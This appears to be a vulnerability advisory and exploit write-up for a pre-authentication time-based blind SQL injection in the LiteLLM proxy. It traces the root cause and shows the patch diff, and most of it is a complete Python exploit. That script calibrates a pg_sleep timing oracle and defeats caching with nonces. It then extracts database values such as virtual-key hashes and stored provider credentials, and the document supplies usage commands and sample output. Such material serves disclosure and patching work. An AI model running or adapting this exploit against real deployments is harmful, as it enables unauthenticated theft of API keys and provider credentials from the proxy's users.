#Summary
CVE-2026-42208 is a pre-authentication SQL injection in BerriAI's LiteLLM proxy (AI Gateway) affecting versions 1.81.16 through 1.83.6. The vulnerability exists in the virtual-key lookup which builds its SQL using f-string interpolation of the raw bearer token instead of its hashed value. An unauthenticated attacker can send a specially crafted Authorization header to any LLM API route and execute time-based blind SQL queries against the proxy's PostgreSQL database, recovering virtual API keys, provider credentials, and configuration data. CVSS v3.1 score is 9.8 CRITICAL.
#Affected versions
- LiteLLM
>= 1.81.16, < 1.83.7(vulnerable) - LiteLLM
>= 1.83.7(patched) - PostgreSQL backend required (SQLite not vulnerable)
- Default configuration is vulnerable if
disable_error_logsis not set
#Root cause analysis
#Vulnerable code path
The vulnerability sits in PrismaClient.get_data() in litellm/proxy/utils.py, in the branch handling virtual-key lookups via table_name == "combined_view". The query is built as an f-string and interpolates the raw bearer token directly into the SQL:
elif table_name == "combined_view":
# check if plain text or hash
if token is not None:
if isinstance(token, str):
hashed_token = _hash_token_if_needed(token=token)
...
if query_type == "find_unique":
...
sql_query = f"""
SELECT
v.*,
t.spend AS team_spend,
...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
...
WHERE v.token = '{token}'
"""Two defects are stacked here:
- String interpolation into SQL:
WHERE v.token = '{token}'mixes untrusted user input directly into SQL text with no quoting or escaping. - Raw token instead of hash: The function computes
hashed_tokenbut then interpolatestoken(the raw value) instead. Had the hashed value been used, it would always be a SHA-256 hex digest with no quote characters, and the flaw would not be reachable.
#How input reaches the sink
The f-string is older than the CVE range and was used by earlier callers that always passed already-hashed tokens. Version 1.81.16 introduced a new caller, _ProxyDBLogger._enrich_failure_metadata_with_key_info() in litellm/proxy/hooks/proxy_track_cost_callback.py, which:
- Catches authentication failures and extracts the raw bearer token
- Passes it to
get_key_object()with the parameter namehashed_token - But nothing in this path ever hashes it - it is the raw
Authorizationheader value from a request that just failed theassert api_key.startswith("sk-")check
The complete unauthenticated path:
- Attacker sends
POST /v1/chat/completionswithAuthorization: Bearer <payload>where<payload>does not start withsk-. _user_api_key_auth_builder()reaches the assertion and raisesAssertionError. This happens before theapi_key = hash_token(api_key)line, so the raw payload is still in the local variable.UserAPIKeyAuthExceptionHandler._handle_authentication_error()builds aUserAPIKeyAuthobject with the raw payload and awaitspost_call_failure_hook()before generating the HTTP 401.- The failure hook copies the raw bearer into
_metadata["user_api_key"]and calls the enrichment helper. - The helper sees that the key object is incomplete (a 401 leaves every field but
api_keynull) and queries the database with the raw payload. - The payload is interpolated into
WHERE v.token = '...'and executed.
Critical detail: Step 3 is awaited, so the HTTP 401 is not returned until the injected SQL finishes executing. This makes a time-based oracle possible over the network.
#The critical gate: sk- prefix check
LiteLLM has a prefix check that hashes any bearer starting with sk- before the failure handler runs. A payload beginning with sk- is replaced by its SHA-256 hex digest, which contains only lowercase hex digits and cannot break out of a string literal. Payloads must not start with sk- to reach the injection point - they must begin with something like x' or a bare quote.
This is the single most important detail and is explicitly documented in the exploit tool as non-negotiable. Published in-the-wild reports that show sk-litellm'... payloads are scanning traffic from tools that did not understand the code path.
#Patch diff
Fix commit e0d5c28db02b3219dbd944666a55f49732197922, released in version 1.83.7.
The query becomes a parameterized statement instead of an f-string, and the bound value is switched from token to hashed_token:
- sql_query = f"""
+ sql_query = """
SELECT
v.*,
t.spend AS team_spend,
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
...
- WHERE v.token = '{token}'
+ WHERE v.token = $1
"""
response = await self._query_first_with_cached_plan_fallback(
- sql_query
+ sql_query, hashed_token
)The _query_first_with_cached_plan_fallback helper is also updated to accept bind arguments:
async def _query_first_with_cached_plan_fallback(
- self, sql_query: str
+ self, sql_query: str, *args
) -> Optional[dict]:
try:
- return await self.db.query_first(query=sql_query)
+ return await self.db.query_first(sql_query, *args)PostgreSQL bind parameter $1 ensures the payload is always treated as data, never as SQL syntax. The vendor's workaround for unpatched systems is to set disable_error_logs: true in general_settings, which prevents the failure hook from running and keeps the sink unreachable.
#Proof of concept
#exploit.py - LiteLLM Pre-Auth SQL Injection PoC
#!/usr/bin/env python3
"""
CVE-2026-42208 - LiteLLM proxy pre-authentication time-based blind SQL injection
Affected: BerriAI LiteLLM (proxy / AI Gateway) 1.81.16 <= version < 1.83.7
Type: SQLi (CWE-89), unauthenticated, PostgreSQL backend
The proxy's virtual-key lookup builds its SQL with an f-string:
WHERE v.token = '{token}'
and interpolates the *raw* bearer rather than the SHA-256 hash it computed one
screen earlier. From 1.81.16 the failure-logging hook
`_enrich_failure_metadata_with_key_info()` became a new caller of that lookup and
feeds it a value that was never hashed: the bearer of a request that just failed
authentication. Because the failure hook is awaited before the 401 is produced,
any delay inside the injected query is a delay on the HTTP response, which gives
a time-based oracle.
The bearer must NOT start with "sk-": LiteLLM hashes anything with that prefix
before the failure handler ever sees it, and a hex digest cannot break out of the
string literal. Every payload this tool sends starts with "x'".
"""
import argparse
import hashlib
import http.client
import itertools
import json
import os
import socket
import ssl
import statistics
import sys
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2026-42208"
VULN_TYPE = "SQLi (blind, time-based, pre-auth)"
DEFAULT_PORT = 4000
DEFAULT_PATH = "/v1/chat/completions"
DEFAULT_MODEL = "gpt-3.5-turbo"
DEFAULT_SLEEP = 4.0
DEFAULT_EXTRACT = '(SELECT token FROM "LiteLLM_VerificationToken" ORDER BY created_at DESC LIMIT 1)'
PRINTABLE = "".join(chr(c) for c in range(32, 127))
HEXSET = "0123456789abcdef"
def header(host, port):
print("\n" + "=" * 60)
print(" CVE-2026-42208 EXPLOIT")
print(" Type: {} | Target: {}:{}".format(VULN_TYPE, host, port))
print("=" * 60 + "\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : {}".format("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: {}".format(evidence))
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
_RUN_ID = os.urandom(3).hex()
_counter = itertools.count()
def _nonce():
"""Unique comment suffix that defeats LiteLLM's bearer-keyed key cache."""
return "{}{:x}".format(_RUN_ID, next(_counter))
def p_baseline():
"""Syntactically valid, matches nothing, returns immediately."""
return "x' OR '1'='2' -- {}".format(_nonce())
def p_sleep(seconds):
"""Unconditional delay - proves the injected SQL executes."""
return "x' OR (SELECT 1 FROM pg_sleep({})) IS NOT NULL -- {}".format(
seconds, _nonce())
def p_cond(predicate, seconds):
"""Delay only when `predicate` holds - the oracle that drives the search."""
return (
"x' OR (SELECT CASE WHEN ({}) THEN (SELECT count(*) FROM pg_sleep({}))"
" ELSE 0 END) > -1 -- {}".format(predicate, seconds, _nonce())
)
def p_hashed_control(seconds):
"""Same delay payload, but prefixed 'sk-' so LiteLLM hashes it inert."""
return "sk-" + p_sleep(seconds)
def _send(host, port, use_tls, path, bearer, timeout, model=DEFAULT_MODEL,
insecure=True):
"""POST one chat-completion request carrying bearer in Authorization."""
body = json.dumps(
{"model": model, "messages": [{"role": "user", "content": "hi"}]}
)
headers = {
"Host": "{}:{}".format(host, port),
"Authorization": "Bearer " + bearer,
"Content-Type": "application/json",
"Accept": "application/json",
"Content-Length": str(len(body)),
"Connection": "close",
}
if use_tls:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
started = time.time()
try:
conn.request("POST", path, body=body, headers=headers)
resp = conn.getresponse()
data = resp.read(4096)
elapsed = time.time() - started
return resp.status, elapsed, data.decode("utf-8", "replace")
except socket.timeout:
return None, time.time() - started, "socket timeout"
except Exception as exc:
return None, time.time() - started, "{}: {}".format(type(exc).__name__, exc)
finally:
try:
conn.close()
except Exception:
pass
class Oracle(object):
"""Boolean oracle over the time-based injection."""
def __init__(self, host, port, use_tls, path, sleep_s, timeout, model,
insecure):
self.host = host
self.port = port
self.use_tls = use_tls
self.path = path
self.sleep_s = sleep_s
self.timeout = timeout
self.model = model
self.insecure = insecure
self.baseline = 0.0
self.threshold = sleep_s * 0.5
self.requests = 0
def send(self, bearer):
self.requests += 1
return _send(self.host, self.port, self.use_tls, self.path, bearer,
self.timeout, self.model, self.insecure)
def calibrate(self, samples=3):
"""Median latency of a valid, non-sleeping payload."""
times = []
status = None
for _ in range(samples):
status, elapsed, _body = self.send(p_baseline())
times.append(elapsed)
self.baseline = statistics.median(times)
self.threshold = max(self.sleep_s * 0.5, self.baseline * 4)
return status, self.baseline, times
def _probe(self, predicate):
"""One measurement. Delayed response means the predicate held."""
_status, elapsed, _body = self.send(p_cond(predicate, self.sleep_s))
return elapsed >= self.threshold
def ask(self, predicate):
"""Boolean oracle, TRUE results confirmed by a second measurement."""
if not self._probe(predicate):
return False
if self._probe(predicate):
return True
return self._probe(predicate)
def confirm(oracle, verbose=True):
"""Prove the injection executes. Returns (confirmed, detail_dict)."""
detail = {}
_st, base, samples = oracle.calibrate()
detail["baseline"] = base
if verbose:
print(" baseline (x' OR '1'='2') : "
"{:.3f}s [{}]".format(
base, ", ".join("{:.3f}".format(s) for s in samples)))
s1 = oracle.sleep_s
s2 = oracle.sleep_s * 2
st1, t1, _b1 = oracle.send(p_sleep(s1))
st2, t2, _b2 = oracle.send(p_sleep(s2))
detail["t1"] = t1
detail["t2"] = t2
detail["status"] = st1
if verbose:
print(" pg_sleep({:g}) unconditional probe : "
"{:.3f}s (HTTP {})".format(s1, t1, st1))
print(" pg_sleep({:g}) unconditional probe : "
"{:.3f}s (HTTP {})".format(s2, t2, st2))
_stc, tc, _bc = oracle.send(p_hashed_control(s1))
detail["sk_control"] = tc
if verbose:
print(" same payload prefixed 'sk-' : "
"{:.3f}s (hashed, must be fast)".format(tc))
delayed = t1 >= oracle.threshold
scales = t2 >= t1 + (oracle.sleep_s * 0.5)
control_fast = tc < oracle.threshold
detail["confirmed"] = bool(delayed and scales and control_fast)
return detail["confirmed"], detail
def find_length(oracle, expr, max_length):
"""Binary-search length((expr)). Returns None if the expression is NULL."""
if oracle.ask("({}) IS NULL".format(expr)):
return None
lo, hi = 0, max_length
while lo < hi:
mid = (lo + hi) // 2
if oracle.ask("length(({})) > {}".format(expr, mid)):
lo = mid + 1
else:
hi = mid
return lo
def pick_charset(oracle, expr, charset):
"""Resolve --charset, probing for a lowercase-hex string in auto mode."""
if charset != "auto":
return "".join(sorted(set(charset)))
sql_str = "'" + "^[0-9a-f]+$".replace("'", "''") + "'"
if oracle.ask("({}) ~ {}".format(expr, sql_str)):
return HEXSET
return PRINTABLE
def find_char(oracle, expr, index, charset):
"""Binary-search one character by ASCII value over the candidate set."""
lo, hi = 0, len(charset) - 1
while lo < hi:
mid = (lo + hi) // 2
pred = "ascii(substring(({}) FROM {} FOR 1)) > {}".format(
expr, index, ord(charset[mid]))
if oracle.ask(pred):
lo = mid + 1
else:
hi = mid
return charset[lo]
def extract(oracle, expr, charset, max_length, threads, verbose=True):
"""Recover a scalar SQL expression character by character."""
import concurrent.futures
length = find_length(oracle, expr, max_length)
if length is None:
return None, "expression is NULL"
if length == 0:
return "", "expression is empty"
if verbose:
print(" length : {} characters".format(length))
cs = pick_charset(oracle, expr, charset)
if verbose:
label = "hex" if cs == HEXSET else "ASCII"
print(" charset : {} ({} chars)".format(label, len(cs)))
print(" extracting with {} threads ...".format(threads))
live = verbose and sys.stdout.isatty()
out = [None] * length
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as pool:
futures = {
pool.submit(find_char, oracle, expr, i + 1, cs): i
for i in range(length)
}
completed = 0
for fut in concurrent.futures.as_completed(futures):
i = futures[fut]
try:
out[i] = fut.result()
except Exception:
out[i] = "?"
completed += 1
if live:
sys.stdout.write("\r recovered {}/{} chars".format(
completed, length))
sys.stdout.flush()
if live:
sys.stdout.write("\r")
value = "".join(c if c is not None else "?" for c in out)
return value, "{} chars in {} requests".format(length, oracle.requests)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="{} exploit PoC".format(CVE_ID))
parser.add_argument("--host", required=True, help="Target hostname or IP")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Port (default: 4000)")
parser.add_argument("--path", default=DEFAULT_PATH, help="API path (default: /v1/chat/completions)")
parser.add_argument("--sleep", type=float, default=DEFAULT_SLEEP, help="Sleep interval (default: 4)")
parser.add_argument("--extract", default=DEFAULT_EXTRACT, help="SQL expression to extract")
parser.add_argument("--charset", default="auto", help="Character set (auto/hex/ascii)")
parser.add_argument("--max-length", type=int, default=256, help="Max length (default: 256)")
parser.add_argument("--threads", type=int, default=6, help="Extraction threads (default: 6)")
parser.add_argument("--confirm-only", action="store_true", help="Stop after confirmation")
parser.add_argument("--verify-key", help="Verify against plaintext key")
parser.add_argument("--timeout", type=float, help="Socket timeout")
parser.add_argument("--insecure", action="store_true", default=True, help="Skip TLS check")
args = parser.parse_args()
host, port = args.host.split(":") if ":" in args.host else (args.host, args.port)
port = int(port) if isinstance(port, str) and port.isdigit() else args.port
use_tls = args.host.startswith("https://")
header(host, port)
timeout = args.timeout if args.timeout else args.sleep * 3 + 20
oracle = Oracle(host, port, use_tls, args.path, args.sleep, timeout, DEFAULT_MODEL, args.insecure)
print("[STEP 1] Probing and calibrating the timing oracle ...")
ok, detail = confirm(oracle)
if not ok:
done(False, "no injection detected - flat timing")
print("\n--- INJECTION CONFIRMED ---")
if args.confirm_only:
done(True, "pre-auth blind SQL injection confirmed")
print("\n[STEP 2] Extracting: {}".format(args.extract))
value, note = extract(oracle, args.extract, args.charset, args.max_length, args.threads)
if not value:
done(True, "confirmed but extraction failed: {}".format(note))
print("\n--- EXTRACTED VALUE ---")
print(value)
print("---\n")
if args.verify_key:
digest = hashlib.sha256(args.verify_key.encode()).hexdigest()
match = digest == value
print("--- VERIFICATION ---")
print("plaintext key : {}".format(args.verify_key))
print("sha256 : {}".format(digest))
print("extracted : {}".format(value))
print("match : {}".format("YES" if match else "NO"))
print("---\n")
if match:
done(True, "recovered virtual-key hash - it matches sha256('{}')".format(args.verify_key))
done(True, "recovered '{}' from the database".format(value))#Usage
#Confirm exploitability
python3 exploit.py --host 10.20.30.40 --port 4000 --confirm-onlyExits 0 if the injection is live, 1 if not. Takes roughly 3x the sleep interval (default 4 seconds = ~12 seconds total).
#Recover a virtual key's SHA-256 hash
python3 exploit.py --host 10.20.30.40 --port 4000 --verify-key sk-PZ-6jIjRdyYH7-mh6lmY_AReconstructs the newest LiteLLM_VerificationToken.token and compares it to the SHA-256 of the supplied key. Roughly 400 requests and 4 minutes at defaults.
#Recover upstream provider credentials
python3 exploit.py --host 10.20.30.40 --port 4000 \
--extract '(SELECT credential_values::text FROM "LiteLLM_CredentialsTable" LIMIT 1)'#Enumerate database
python3 exploit.py --host 10.20.30.40 --port 4000 \
--extract '(SELECT count(*)::text FROM "LiteLLM_VerificationToken")'Example output:
[STEP 1] Probing and calibrating the timing oracle ...
baseline (x' OR '1'='2') : 0.010s [0.011, 0.010, 0.008]
pg_sleep(4) unconditional probe : 4.017s (HTTP 401)
pg_sleep(8) unconditional probe : 8.019s (HTTP 401)
same payload prefixed 'sk-' : 0.014s (hashed, must be fast)
--- INJECTION CONFIRMED ---
[STEP 2] Extracting: (SELECT token FROM "LiteLLM_VerificationToken" ORDER BY created_at DESC LIMIT 1)
length : 64 characters
charset : hex (16 candidates)
extracting with 6 threads ...
recovered 64/64 chars
--- EXTRACTED VALUE ---
21c1b157d9da46733d7ba3092adcf5cf87a5d742df5420249793e2e582a40df3
--- VERIFICATION ---
plaintext key : sk-PZ-6jIjRdyYH7-mh6lmY_A
sha256 : 21c1b157d9da46733d7ba3092adcf5cf87a5d742df5420249793e2e582a40df3
extracted : 21c1b157d9da46733d7ba3092adcf5cf87a5d742df5420249793e2e582a40df3
match : YES
RESULT : SUCCESS
EVIDENCE: recovered virtual-key hash - it matches sha256('sk-PZ-6jIjRdyYH7-mh6lmY_A')#Exploitation notes
#Preconditions
- PostgreSQL backend: SQLite is not vulnerable. The vulnerability uses PostgreSQL-specific syntax (
pg_sleep, double-quoted identifiers,$1parameterized binding). - Master key configured: A
LITELLM_MASTER_KEYmust be set. Without it, authentication fails earlier. - Error logging enabled:
disable_error_logsmust be unset or false (the default). Setting it totrueis the vendor's workaround and prevents the failure hook from running. - LLM API route: The request must go to a route like
/v1/chat/completionsor/chat/completions. Info routes are also vulnerable, but LLM routes are the main attack surface.
#Reliability
The exploit is highly reliable once the injection is confirmed. The oracle (time-based sleep) is deterministic - the only noise comes from network latency and the target's database connection pool under concurrent extraction. The tool calibrates against a baseline, confirms that the sleep delay scales with the requested interval, and runs a control with the sk- prefix to ensure the payload is not being hashed.
#Impact
An attacker gains complete read access to the proxy's PostgreSQL database through blind SQL queries. High-value targets include:
LiteLLM_VerificationToken.token- SHA-256 hashes of virtual API keys, plus the master key's hashLiteLLM_CredentialsTable.credential_values(JSON) - stored upstream provider credentials (OpenAI keys, Anthropic keys, etc.)LiteLLM_Config.param_value- proxy configuration including environment variables
Write access through this vector is not practical (stacked statements are not supported), but the read access alone is sufficient to compromise the proxy and all credentials it manages.
#Chaining potential
An attacker with a recovered virtual API key can:
- Authenticate to the proxy and make LLM API calls on behalf of other users
- Access the upstream provider credentials directly through the proxy (they are decrypted server-side)
- Impersonate the proxy to upstream LLM services, potentially making paid API calls or accessing model-specific features
Chaining this with a lateral movement vector (e.g., SSRF through the LLM API) could provide deeper access to the target network.
#Oracle characteristics
The oracle uses only network-observable latency. No data is echoed to the client, and SQL errors are swallowed by the caller. Timing is the only available signal. Key operational notes:
- Baseline calibration is mandatory: A single slow response is not evidence of injection - the vulnerable lookup is wrapped in a backoff decorator that retries broken queries, causing multi-second delays all by itself. The tool establishes a baseline with a fast, syntactically valid payload and then proves that delays scale with the requested
pg_sleepinterval. - Payload nonces are mandatory: LiteLLM caches the key lookup result on the bearer string itself. Resending an identical payload is answered from cache in microseconds and reads as "not vulnerable". Every payload must carry a unique nonce in its trailing SQL comment to force a database hit.
- sk- prefix check is absolute: Any payload beginning with
sk-is hashed to a hex digest before the failure handler ever sees it. This is not a bypassable check - it is enforced at the authentication layer before the vulnerable code is reachable.
#References
- CVE: CVE-2026-42208
- GitHub Security Advisory: GHSA-r75f-5x8p-qvmc
- Fix commit: e0d5c28db02b3219dbd944666a55f49732197922
- Release notes: v1.83.7-stable
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42208
- GitHub: https://github.com/BerriAI/litellm